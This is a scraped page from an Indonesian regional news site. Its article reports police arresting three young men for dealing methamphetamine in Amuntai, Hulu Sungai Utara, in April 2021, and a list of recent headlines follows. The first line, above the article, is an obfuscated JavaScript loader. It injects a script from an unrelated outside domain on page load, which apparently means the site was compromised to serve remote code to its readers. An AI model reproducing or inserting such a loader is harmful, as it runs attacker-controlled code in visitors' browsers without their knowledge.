(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

Tiga Pemuda Pengedar Sabu di Amuntai Dibekuk


KANALKALIMANTAN.COM, AMUNTAI – Tiga pemuda pengedar narkotika jenis sabu Ad (25), Ar (19) dan Rd (29) di Amuntai diringkus Satuan Reserse Narkoba Polres Hulu Sungai Utara (HSU).

Ketiga tersangka berhasil ditangkap masing-masing di tempat yang berbeda pada Jumat (23/4/2021)

Dari tangan tersangka Ad berhasil diamankan sabu dengan berat keseluruhan 0,71 gram -berat bersih 0,11 gram.

 

Sedangkan dari tangan tersangka Ar dan Rd ditemukan sabu dengan berat keseluruhan 2,05 gram -berat bersih 1,12 gram-.

Baca juga: Mabuk, Seorang Pria di Banjarmasin Tega Aniaya dan Seret Ibu Kandungnya

Kapolres HSU AKBP Afri Darmawan SIK MH melalui Kasat Resnarkoba Iptu Siswadi, kepada kanalkalimantan.com, Senin (26/4/2021) membenarkan pengungkapan dua kasus narkotika yang menyeret tiga orang itu.

Dari informasi, penangkapan ketiga tersangka sendiri dilakukan di tempat berbeda.

Tersangka Ad, warga Desa Tangga Ulin Hilir, Kecamatan Amuntai Tengah, berhasil dibekuk petugas yang menyamar menjadi pembeli saat berada di Pasar Induk Amuntai.

Menyusul kemudian tersangka Ar dan Rd, keduanya dibekuk saat berada di dalam rumah tersangka Ar di Jalan Keramat RT 001 Desa Pakacangan, Kecamatan Amuntai Utara.

Baca juga: Bupati Banjar Terima Bantuan dari UPZ Bank Kalsel

“Posisi Ad berperan sebagai kurir, waktu dilakukan pemeriksaan ternyata Ad membeli narkotika di tempat Ar dan Rd,” jelas Kasat Narkoba Polres HSU.

Atas kejadian tersebut ketiga tersangka bersama barang bukti digelandang ke tahanan Mapolres HSU guna proses penyidikan lebih lanjut.

Selain paket sabu, anggota Sat Resnarkoba juga mengamankan barang bukti lainnya seperti sebuah kotak rokok, sedotan plastik, pipet kaca, sebuah bong dari botol plastik, timbangan digital warna silver, tas selempang, satu pak plastik piper klip, sebuah handphone, dan uang tunai sebesar Rp 950 ribu.

Atas pengungkapan kasus narkotika ini, ketiga pemuda dijerat pasal 114 ayat 1 atau 112 ayat 1 UU RI Nomor 35 tahun 2009 tentang narkotika. (kanalkalimantan.com/dew)

Reporter : dew
Editor : kk


Al Ghifari

Recent Posts

Pascabanjir TurunTangan Banjarmasin – UPZ Bakti Bersama Salurkan Bantuan ke Masjid

KANALKALIMANTAN.COM, PARINGIN — Banjir bandang di Kecamatan Tebing Tinggi, Kabupaten Balangan, beberapa waktu lalu tak… Read More

6 jam ago

Mantan Kajari HSU Ajukan Praperadilan, KPK Siap Ladeni Gugatan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyatakan siap menghadapi gugatan praperadilan yang diajukan mantan… Read More

9 jam ago

Hari Gizi Nasional 2026 “Sehat Dimulai dari Piringku”

KANALKALIMANTAN.COM - Hari Gizi Nasional yang diperingati setiap tanggal 25 Januari merupakan momentum penting dalam… Read More

13 jam ago

Wali Kota Yamin akan Tindak Pemilik Ruko yang Tidak Merawat Drainase

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More

1 hari ago

Ketua DPRD Kalsel Sampaikan Tuntutan Mahasiswa ke Senayan

KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More

1 hari ago

275 ASN Pemko Banjarmasin Pensiun di 2025

KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More

1 hari ago

This website uses cookies.